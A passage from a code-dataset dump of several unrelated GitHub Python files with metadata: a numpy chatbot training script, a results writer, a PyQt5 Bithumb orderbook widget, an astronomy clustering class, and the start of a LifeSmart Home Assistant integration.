case\nallsorted = [x.lower() for x in allsorted]\npunctsorted = [x.lower() for x in punctsorted]\n\nallsorted = sorted(set(allsorted))\npunctsorted = sorted(set(punctsorted))\n\n\nwords_list = punctsorted\nlabels_list = labels\n\njson.dump(words_list, open('words.json', 'w'))\njson.dump(labels_list, open('labels.json', 'w'))\n\ntraining = []\n#tags length\noutput = [0] * len(labels)\n\nfor doc in docs:\n bag = []\n \n wpattern = doc[0]\n wpattern = [x.lemma_ for x in wpattern]\n\n for word in punctsorted:\n if word in wpattern:\n bag.append(1)\n else:\n bag.append(0)\n \n output_row = list(output)\n output_row[labels.index(doc[1])] = 1\n training.append([bag, output_row])\n \ntrain_X = []\ntrain_Y = []\nfor sub_list1 in training:\n train_X.append(sub_list1[0])\n train_Y.append(sub_list1[1])\n \nclass Loss:\n def calculate(self, output, y):\n sample_losses = self.forward(output, y)\n data_loss = np.mean(sample_losses)\n return data_loss\n\nvectors = []\n\nfor sub_x in train_X:\n vectors.append(sub_x)\n \n\nclass NeuralNetwork:\n def __init__(self, input_neuron, hidden_neuron, output_neuron):\n self.layers = [\n layer.Dense(input_neuron, hidden_neuron),\n layer.Dense(hidden_neuron, output_neuron)\n ]\n self.activations = [\n activation.ReLU(),\n activation.Softmax()\n ]\n \n \n def forward(self, X):\n self.layers[0].forward(X)\n self.activations[0].forward(self.layers[0].output)\n self.hidden = self.activations[0].output\n self.layers[1].forward(self.activations[0].output)\n self.activations[1].forward(self.layers[1].output)\n self.prediction = self.activations[1].output\n return self.prediction\n \n\n \n def backward(self, X, y, learning_rate):\n \n pred = self.prediction\n \n output_layer = self.layers[1]\n hidden_layer = self.layers[0]\n \n hidden_activation = self.activations[0]\n \n #Backpropagation\n delta_output = 2 * (pred - y)\n \n hidden_activation.derivative(hidden_layer.output)\n dhidden = np.dot(delta_output, output_layer.weights.T) * hidden_activation.doutput\n \n #Gradient Descent\n output_layer.grad_weights = np.dot(hidden_activation.output.T, delta_output)\n output_layer.grad_biases = np.sum(delta_output, axis=0)\n hidden_layer.grad_weights = np.dot(X.T, dhidden)\n hidden_layer.grad_biases = np.sum(dhidden, axis=0)\n \n #Update Weights and Biases\n output_layer.weights -= learning_rate * output_layer.grad_weights\n output_layer.biases -= learning_rate * output_layer.grad_biases\n hidden_layer.weights -= learning_rate * hidden_layer.grad_weights\n hidden_layer.biases -= learning_rate * hidden_layer.grad_biases\n\n return output_layer.weights, output_layer.biases, hidden_layer.weights, hidden_layer.biases\n \n def train(self, X, y, learning_rate, epochs, batch_size, train_ratio):\n \n self.learning_rate = learning_rate\n \n batch_x = X[:batch_size, :]\n batch_y = y[:batch_size, :]\n\n for epoch in range(epochs):\n loss = 0.0\n\n #forward propagation\n f_output = self.forward(batch_x)\n\n #backward propagation\n ow, ob, hw, hb = self.backward(batch_x, batch_y, learning_rate)\n \n if epoch+1 == epochs:\n model_Ws_Bs = {\n 'hidden_W': hw.tolist(),\n 'hidden_B': hb.tolist(),\n 'output_W': ow.tolist(),\n 'output_B': ob.tolist()\n }\n \n # json_path = \"/path/save/model.json\"\n with open('model.json', 'w') as file:\n json.dump(model_Ws_Bs, file)\n \n print(\"model saved!\")\n \n \n\n #calculate the loss/cost/error Mean Squared Error (MSE)\n loss = np.mean(1/len(batch_y) * sum(np.square(batch_y - f_output)))\n\n #print the loss for the epoch\n print(f\"Epoch {epoch+1} / {epochs}, loss = {loss / batch_x.shape[0]}\")\n \n def test(self, X, y, test_size, train_ratio):\n \n self.learning_rate = learning_rate\n \n total_rows = X.shape[0]\n train_size = int(total_rows * train_ratio)\n \n #random test group\n test_x = X[train_size:, :]\n test_y = y[train_size:, :]\n\n #forward propagation\n f_pred = self.forward(test_x)\n\n pred_matrix = np.zeros_like(test_y)\n \n for i in range(f_pred.shape[0]):\n pred_answer = np.argmax(f_pred[i])\n \n print(\"pred_answer ; y:\", pred_answer+1, test_y[i])\n \n pred_matrix[i][pred_answer] = 1\n \n \n correct_sum = 0\n \n for i in range(f_pred.shape[0]):\n if np.array_equal(pred_matrix[i], test_y[i]):\n correct_sum += 1\n \n print(\"correct_sum: \", correct_sum)\n \n total_preds = round(f_pred.sum())\n \n print(\"total_preds: \", total_preds)\n \n accuracy = correct_sum / total_preds\n \n print(\"Accuracy: \", accuracy)\n\nrandom.shuffle(training)\ntraining = np.array(training, dtype=object)\n\ntrain_x = list(training[:, 0])\ntrain_y = list(training[:, 1])\n\nprint(\"train_x\\n\", len(train_x))\nprint(\"train_y\\n\", len(train_y))\n\nlearning_rate = 0.005\nepochs = 200\ntrain_ratio = 0.8\nbatch_size = 30\ntest_size = round(batch_size*(1-train_ratio))\nprint(\"TEST_SIZE\", test_size)\nnn = NeuralNetwork(40, 64, 8)\n\nmodel = nn.train(np.array(train_x), np.array(train_y), learning_rate, epochs, batch_size, train_ratio)\n \ntest = nn.test(np.array(train_x), np.array(train_y), test_size, train_ratio)\n\nprint(\"Done\")\n", "repo_name": "FallenPlan/szakdolgozat_TVIK4I", "sub_path": "ChatBot/chatbotEnvironment/training2.py", "file_name": "training2.py", "file_ext": "py", "file_size_in_byte": 7879, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "spacy.load", "line_number": 20, "usage_type": "call"}, {"api_name": "json.load", "line_number": 23, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 84, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 116, "usage_type": "call"}, {"api_name": "layers.Dense", "line_number": 128, "usage_type": "call"}, {"api_name": "layers.Dense", "line_number": 129, "usage_type": "call"}, {"api_name": "activations.ReLU", "line_number": 132, "usage_type": "call"}, {"api_name": "activations.Softmax", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 167, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.square", "line_number": 210, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array_equal", "line_number": 242, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 274, "usage_type": "call"}]} +{"seq_id": "73765284169", "text": "from typing import List, Dict\nimport os\nimport pandas as pd\n\n\"\"\"\n Write the results from the algorithms to an xls file\n\"\"\"\n\n\ndef write_results(result):\n array = []\n\n # Formatting the results for the xls file\n for i in result[0]:\n trend_matches = []\n result = [i['name'], i['matching_size'], ' ', '# Vertices evaluated']\n\n for k in i['trend']:\n result.append(k[0])\n trend_matches.append(k[1])\n\n array.append(result)\n col = [' ', ' ', ' ', '# matches']\n for matches in trend_matches:\n col.append(matches)\n\n array.append(col)\n\n df = pd.DataFrame(array).T\n df.to_excel(excel_writer=\"results.xls\", sheet_name='sheet1')\n\n pass\n\n\ndef write_agg_results(result: List[Dict], fname):\n result_dict = {\n \"id\": [],\n \"name\": [],\n \"repeats\": [],\n \"size_left\": [],\n \"size_right\": [],\n \"avg_matching_size\": [],\n \"std_matching_size\": [],\n }\n for i in range(len(result[0][\"avg_trend\"])):\n result_dict[f\"{i}_avg\"] = []\n\n for i in range(len(result[0][\"avg_trend\"])):\n result_dict[f\"{i}_std\"] = []\n\n # \"avg_trend\": trend_stack.mean(axis=0),\n # \"std_trend\": trend_stack.std(axis=0),\n for r in result:\n result_dict['id'].append(r['id'])\n result_dict['name'].append(r['name'])\n result_dict['repeats'].append(r['repeats'])\n result_dict['size_right'].append(r['size_right'])\n result_dict['size_left'].append(r['size_left'])\n result_dict['avg_matching_size'].append(r['avg_matching_size'])\n result_dict['std_matching_size'].append(r['std_matching_size'])\n\n for i in range(len(r[\"avg_trend\"])):\n result_dict[f\"{i}_avg\"].append(r['avg_trend'][i])\n result_dict[f\"{i}_std\"].append(r['std_trend'][i])\n\n df = pd.DataFrame(result_dict).T\n # df.to_excel(excel_writer=f\"{fname}.xls\", sheet_name='sheet1')\n df.to_csv(f\"{fname}.csv\")\n pass\n\n\ndef write_agg_results_v2(result: List[Dict], fname):\n result_dict = dict()\n\n max_len = max([len(item['std_trend']) for item in result])\n\n for item in result:\n name = item['name']\n # result_dict[f'{name}_rep_sz_l_r'] = [item['repeats'], item['size_left'], item['size_right']]\n # result_dict[f'{name}_matching_avg_std'] = [item['avg_matching_size'], item['std_matching_size']]\n result_dict[f'{name}_matching_avg_std'] = [item['avg_matching_size'], item['std_matching_size']]\n result_dict[f'x_{name}_trend_avg'] = item['avg_trend']\n result_dict[f'z_{name}_trend_std'] = item['std_trend']\n\n for key in result_dict.keys():\n if len(result_dict[key]) < max_len:\n result_dict[key] = list(result_dict[key]) + [None] * (max_len - len(result_dict[key]))\n\n df = pd.DataFrame.from_records(result_dict)\n\n if not os.path.exists('results'):\n os.makedirs('results')\n\n df.to_csv(f\"results/{fname}.csv\")\n pass\n", "repo_name": "habedi77/maximum-matching", "sub_path": "maximum_matching/utility/result_printer.py", "file_name": "result_printer.py", "file_ext": "py", "file_size_in_byte": 2961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.DataFrame", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 35, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 72, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 89, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "26829834135", "text": "import sys\nimport time\nimport pybithumb\nfrom PyQt5 import uic\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtWidgets import QTableWidgetItem, QProgressBar\nfrom PyQt5.QtCore import Qt, QThread, pyqtSignal, QPropertyAnimation\nimport requests\n\nclass OrderbookWorker(QThread):\n dataSent = pyqtSignal(dict)\n\n def __init__(self, ticker):\n super().__init__()\n self.ticker = ticker\n self.alive = True\n\n def run(self):\n while self.alive:\n r = requests.get(\"https://api.bithumb.com/public/orderbook/BTC_KRW?count=10\")\n bitcoin = r.json()\n data = bitcoin['data']\n time.sleep(0.01)\n if data != None:\n self.dataSent.emit(data)\n\n def close(self):\n self.alive = False\n\n\nclass OrderbookWidget(QWidget):\n def __init__(self, parent=None, ticker=\"BTC\"):\n super().__init__(parent)\n uic.loadUi(\"resource/orderbook.ui\", self)\n self.ticker = ticker\n\n self.asksAnim = [ ]\n self.bidsAnim = [ ]\n\n for i in range(self.tableBids.rowCount()):\n # 매도호가\n item_0 = QTableWidgetItem(str(\"\"))\n item_0.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.tableAsks.setItem(i, 0, item_0)\n\n item_1 = QTableWidgetItem(str(\"\"))\n item_1.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.tableAsks.setItem(i, 1, item_1)\n\n item_2 = QProgressBar(self.tableAsks)\n item_2.setAlignment(Qt.AlignRight | Qt.AlignVCenter)\n item_2.setStyleSheet(\"\"\"\n QProgressBar {background-color : rgba(0, 0, 0, 0%);border : 1}\n QProgressBar::Chunk {background-color : rgba(255, 0, 0, 50%);border : 1}\n \"\"\")\n self.tableAsks.setCellWidget(i, 2, item_2)\n anim = QPropertyAnimation(item_2, b\"value\")\n anim.setDuration(200)\n self.asksAnim.append(anim)\n\n # 매수호가\n item_0 = QTableWidgetItem(str(\"\"))\n item_0.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.tableBids.setItem(i, 0, item_0)\n\n item_1 = QTableWidgetItem(str(\"\"))\n item_1.setTextAlignment(Qt.AlignRight | Qt.AlignVCenter)\n self.tableBids.setItem(i, 1, item_1)\n\n item_2 = QProgressBar(self.tableBids)\n item_2.setAlignment(Qt.AlignRight | Qt.AlignVCenter)\n item_2.setStyleSheet(\"\"\"\n QProgressBar {background-color : rgba(0, 0, 0, 0%);border : 1}\n QProgressBar::Chunk {background-color : rgba(0, 255, 0, 40%);border : 1}\n \"\"\")\n self.tableBids.setCellWidget(i, 2, item_2)\n anim = QPropertyAnimation(item_2, b\"value\")\n anim.setDuration(200)\n self.bidsAnim.append(anim)\n\n self.ow = OrderbookWorker(self.ticker)\n self.ow.dataSent.connect(self.updateData)\n self.ow.start()\n\n def updateData(self, data):\n tradingValues = [ ]\n for v in data['bids']:\n tradingValues.append(int(float(v['price']) * float(v['quantity'])))\n maxtradingValue = max(tradingValues)\n\n for i, v in enumerate(data['asks'][::-1]):\n item_0 = self.tableAsks.item(i, 0)\n item_0.setText(f\"{float(v['price']):,}\")\n item_1 = self.tableAsks.item(i, 1)\n item_1.setText(f\"{float(v['quantity']):,}\")\n item_2 = self.tableAsks.cellWidget(i, 2)\n item_2.setRange(0, maxtradingValue)\n item_2.setFormat(f\"{tradingValues[i]:,}\")\n self.asksAnim[i].setStartValue(item_2.value() if item_2.value() > 0 else 0)\n self.asksAnim[i].setEndValue(tradingValues[i])\n self.asksAnim[i].start()\n\n for i, v in enumerate(data['bids']):\n item_0 = self.tableBids.item(i, 0)\n item_0.setText(f\"{float(v['price']):,}\")\n item_1 = self.tableBids.item(i, 1)\n item_1.setText(f\"{float(v['quantity']):,}\")\n item_2 = self.tableBids.cellWidget(i, 2)\n item_2.setRange(0, maxtradingValue)\n item_2.setFormat(f\"{tradingValues[i]:,}\")\n self.bidsAnim[i].setStartValue(item_2.value() if item_2.value() > 0 else 0)\n self.bidsAnim[i].setEndValue(tradingValues[i])\n self.bidsAnim[i].start()\n\n\n def closeEvent(self, event):\n self.ow.close()\n\n\nif __name__ == \"__main__\":\n import sys\n from PyQt5.QtWidgets import QApplication\n app = QApplication(sys.argv)\n ow = OrderbookWidget()\n ow.show()\n sys.exit(app.exec_())\n", "repo_name": "hayoungy/bitcoin", "sub_path": "orderbook.py", "file_name": "orderbook.py", "file_ext": "py", "file_size_in_byte": 4608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PyQt5.QtCore.QThread", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.uic.loadUi", "line_number": 34, "usage_type": "call"}, {"api_name": "PyQt5.uic", "line_number": 34, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 42, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 43, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 43, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 43, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 47, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QProgressBar", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QPropertyAnimation", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 63, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 63, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 63, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QTableWidgetItem", "line_number": 66, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 67, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 67, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 67, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QProgressBar", "line_number": 70, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.AlignRight", "line_number": 71, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 71, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AlignVCenter", "line_number": 71, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QPropertyAnimation", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 123, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 123, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 126, "usage_type": "call"}]} +{"seq_id": "74306497287", "text": "import numpy as np\n\n\nclass Cluster(object):\n\n def __init__(self, data_point, data_idx, idx=None, acorns=None):\n\n \"\"\"\n\n Description\n -----------\n\n This is how clusters are defined and characterised.\n\n Parameters\n ----------\n\n Examples\n --------\n\n Notes\n -----\n\n \"\"\"\n\n self._acorns = acorns\n self._antecessor = self\n self._antecedent = None\n self._siblings = None\n self._descendants = []\n self._merge_level = None\n self._cluster_idx = idx\n\n # cluster point properties\n # data indices\n self.cluster_members = np.array([data_idx], dtype='i4')\n # cluster indices\n self.cluster_indices = np.array([idx], dtype='i4')\n # peak location\n self._peak_location = np.array([data_point[0],data_point[1]])\n # Set up a dictionary of important information. See statistics below\n self._statistics = {}\n #self._statistics[0] = [data_point[2],data_point[2],data_point[2],data_point[2],data_point[2]]\n self._statistics[0] = [data_point[2],data_point[2],data_point[2],data_point[2],0.0]\n\n # Add remaining attributes to stats dict\n for j in range(4, len(data_point)):\n #self._statistics[j-3] = [data_point[j],data_point[j],data_point[j],data_point[j],data_point[j]]\n self._statistics[j-3] = [data_point[j],data_point[j],data_point[j],data_point[j],0.0]\n\n\n @property\n def cluster_idx(self):\n \"\"\"\n Returns cluster index\n \"\"\"\n\n return self._cluster_idx\n\n @property\n def merge_level(self):\n \"\"\"\n Returns the level at which this cluster because a branch\n\n \"\"\"\n return self._merge_level\n\n @property\n def statistics(self):\n \"\"\"\n Return dictionary of important statistics.\n\n Notes\n -----\n\n Each entry to the dictionary relates to a single observable quantity.\n Each entry is a list which contains the following information:\n\n min, max, mean, median, stddev\n\n \"\"\"\n\n return self._statistics\n\n @property\n def peak_location(self):\n \"\"\"\n Return the location of the peak value\n\n \"\"\"\n\n return self._peak_location\n\n @property\n def number_of_members(self):\n \"\"\"\n Return the number of cluster members.\n\n \"\"\"\n\n return np.size(self.cluster_members)\n\n @property\n def leaf_cluster(self):\n \"\"\"\n Return true if the present structure is a leaf (it has no descendants).\n\n \"\"\"\n\n return not self.descendants\n\n @property\n def branch_cluster(self):\n \"\"\"\n Return true if the present structure is a branch (it is not a leaf\n cluster).\n\n \"\"\"\n\n return not self.leaf_cluster\n\n @property\n def descendants(self):\n \"\"\"\n Return antecessor\n\n \"\"\"\n\n return self._descendants\n\n @property\n def antecessor(self):\n \"\"\"\n Return antecessor\n\n \"\"\"\n\n return self._antecessor\n\n @property\n def antecedent(self):\n \"\"\"\n Return antecessor\n\n \"\"\"\n\n return self._antecedent\n\n @property\n def siblings(self):\n \"\"\"\n Return siblings\n\n \"\"\"\n\n return self._siblings\n\n def output_cluster_table(self, data, outputfile, format=None, headings=None ):\n \"\"\"\n Generates an output table for a given cluster.\n\n Notes\n -----\n\n Default format is an ascii file with the same information as the acorns\n input array. However, if an array is provided using keyword \"extended\" then\n a table with additional information can be supplied (headings can also\n be provided with this keyword).\n\n If format \"fits\" is supplied output cluster table will produce a astropy\n table containing the results.\n\n \"\"\"\n\n if format==\"ascii\":\n from .io import output_ascii\n return output_ascii(self, data, outputfile, headings=headings)\n elif format==\"fits\":\n from .io import output_fits\n return output_fits(self, data, outputfile, headings=headings)\n else:\n raise IOError(\"Please enter a valid output format (ascii, fits)\")\n\n def reset_antecedent(self):\n\n self._antecedent = None\n\n return self\n\n def reset_antecessor(self):\n\n self._antecessor= None\n\n return self\n\n def __repr__(self):\n \"\"\"\n Return a nice printable format for the object. This format will indicate\n if the current structure is a leaf_cluster or a branch_cluster, and give\n the cluster index.\n\n \"\"\"\n\n if self.leaf_cluster:\n return \"<< acorns cluster; type=leaf_cluster; cluster_index={0}; number_of_members={1} >>\".format(self.cluster_idx, self.number_of_members)\n else:\n return \"<< acorns cluster; type=branch_cluster; cluster_index={0}; number_of_members={1} >>\".format(self.cluster_idx, self.number_of_members)\n\ndef _set_antecedent(self, descendants):\n \"\"\"\n Set antecedent property of descendents to current branch.\n\n Notes\n -----\n\n We want the clusters to know who they are related to. An antecedent is the\n immediate parent of a cluster. So when branching set the antecedent property\n of all descendants in the current branch to the branch itself. Also set the\n antecedent value of the current branch to 'None' to indicate that it doens't\n have a parent.\n\n \"\"\"\n\n for descendant in descendants:\n descendant._antecedent = self\n\n return self._antecedent\n\ndef _set_antecessor(self, descendants):\n \"\"\"\n Set reference to largest related cluster.\n\n Notes\n -----\n\n We want the clusters to know who they are related to. The antecessor is the\n largest structure in the current family. Every time a new branch is formed\n the branch becomes the antecessor. However, we must descend the family tree\n and assign the antecessor property of all descendants (branch clusters or\n leaf clusters) to the current branch.\n\n \"\"\"\n\n # Create a temporary list of descendants that will be updated\n new_descendants = descendants\n\n # Cycle through descendants looking for new descendants\n while (len(new_descendants) !=0 ):\n descendant_list = []\n # Loop over descendants\n for descendant in new_descendants:\n # Set the antecessor property to the current cluster level\n descendant._antecessor = self\n # Check to see if the current descendant has any descendants\n if (len(descendant.descendants) !=0 ):\n # If there are, add these to the descendant_list\n descendant_list.extend(descendant.descendants)\n # Once search for descendants has finished begin a new search based\n # on the descendant_list\n new_descendants = descendant_list\n\n return self._antecessor\n\ndef _set_siblings(self, descendants):\n \"\"\"\n Returns siblings\n \"\"\"\n\n for descendant in descendants:\n descendant._siblings = [cluster for cluster in descendants if cluster != descendant]\n\n return self._siblings\n\ndef _set_merge_level(self, descendants):\n \"\"\"\n Sets the merge level of the leaves\n\n \"\"\"\n\n self._merge_level = None\n\n mergevals = []\n for descendant in descendants:\n mergevals.append(descendant.statistics[0][0])\n\n for descendant in descendants:\n descendant._merge_level = np.min(np.asarray(mergevals))\n\n mergevals = None\n\n return self._merge_level\n\ndef merge_clusters(self, merge_cluster, data, branching = False):\n \"\"\"\n Add descendant data points to a new branch\n\n \"\"\"\n\n if branching == False:\n merge_cluster._cluster_idx = self._cluster_idx\n\n # Merge cluster into the linked cluster\n self.cluster_members = np.concatenate(\n [self.cluster_members, merge_cluster.cluster_members])\n self.cluster_indices = np.concatenate([self.cluster_indices, \\\n merge_cluster.cluster_indices])\n\n cluster_data = data[:, self.cluster_members]\n\n # Update the cluster statistics\n self._statistics[0] = [np.min(cluster_data[2,:]), \\\n np.max(cluster_data[2,:]),\\\n np.mean(cluster_data[2,:]),\\\n np.median(cluster_data[2,:]),\\\n np.std(cluster_data[2,:])]\n\n # Repeat for all quantities under consideration\n for j in range(4, len(cluster_data[:,0])):\n self._statistics[j-3] = [np.min(cluster_data[j,:]), \\\n np.max(cluster_data[j,:]),\\\n np.mean(cluster_data[j,:]),\\\n np.median(cluster_data[j,:]),\\\n np.std(cluster_data[j,:])]\n # Update the peak location\n peak_idx = np.argmax(cluster_data[2,:])\n self._peak_location = np.array([cluster_data[0,peak_idx], cluster_data[1,peak_idx]])\n\n return self\n\ndef merge_data(self, data_idx, un_idx, data):\n \"\"\"\n Add data points to a cluster and update cluster properties\n\n \"\"\"\n\n self.cluster_members = np.concatenate(\n [self.cluster_members, np.array([data_idx])])\n self.cluster_indices = np.concatenate([self.cluster_indices, np.array([un_idx])])\n\n cluster_data = data[:, self.cluster_members]\n\n # Update the cluster statistics\n self._statistics[0] = [np.min(cluster_data[2,:]), \\\n np.max(cluster_data[2,:]),\\\n np.mean(cluster_data[2,:]),\\\n np.median(cluster_data[2,:]),\\\n np.std(cluster_data[2,:])]\n\n # Repeat for all quantities under consideration\n for j in range(4, len(cluster_data[:,0])):\n self._statistics[j-3] = [np.min(cluster_data[j,:]), \\\n np.max(cluster_data[j,:]),\\\n np.mean(cluster_data[j,:]),\\\n np.median(cluster_data[j,:]),\\\n np.std(cluster_data[j,:])]\n\n # Update the peak location\n peak_idx = np.argmax(cluster_data[2,:])\n self._peak_location = np.array([cluster_data[0,peak_idx], cluster_data[1,peak_idx]])\n\n return self\n\ndef form_a_branch(self, data, descendants = []):\n \"\"\"\n Convert the current cluster into a branch and update the information\n \"\"\"\n\n self._descendants = descendants\n self._antecedent = _set_antecedent(self, descendants)\n self._antecessor = _set_antecessor(self, descendants)\n self._siblings = _set_siblings(self, descendants)\n self._merge_level = _set_merge_level(self, descendants)\n\n # Merge descendants into branch and update the important information\n for descendant in descendants:\n self = merge_clusters(self, descendant, data, branching = True)\n\n return self\n", "repo_name": "jdhenshaw/acorns", "sub_path": "acorns/cluster_definition.py", "file_name": "cluster_definition.py", "file_ext": "py", "file_size_in_byte": 10970, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 101, "usage_type": "call"}, {"api_name": "io.output_ascii", "line_number": 177, "usage_type": "call"}, {"api_name": "io.output_fits", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 314, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 319, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 320, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 323, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 325, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 337, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 343, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 347, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 354, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 355, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 359, "usage_type": "call"}]} +{"seq_id": "19281973900", "text": "\"\"\"lifesmart by @skyzhishui\"\"\"\r\nimport subprocess\r\nimport urllib.request\r\nimport json\r\nimport time\r\nimport datetime\r\nimport hashlib\r\nimport logging\r\nimport threading\r\nimport websocket\r\nimport asyncio\r\n\r\nimport voluptuous as vol\r\nimport sys\r\nsys.setrecursionlimit(100000)\r\n\r\nfrom homeassistant.const import (\r\n CONF_FRIENDLY_NAME,\r\n)\r\nfrom homeassistant.components.climate.const import (\r\n HVAC_MODE_AUTO,\r\n HVAC_MODE_COOL,\r\n HVAC_MODE_FAN_ONLY,\r\n 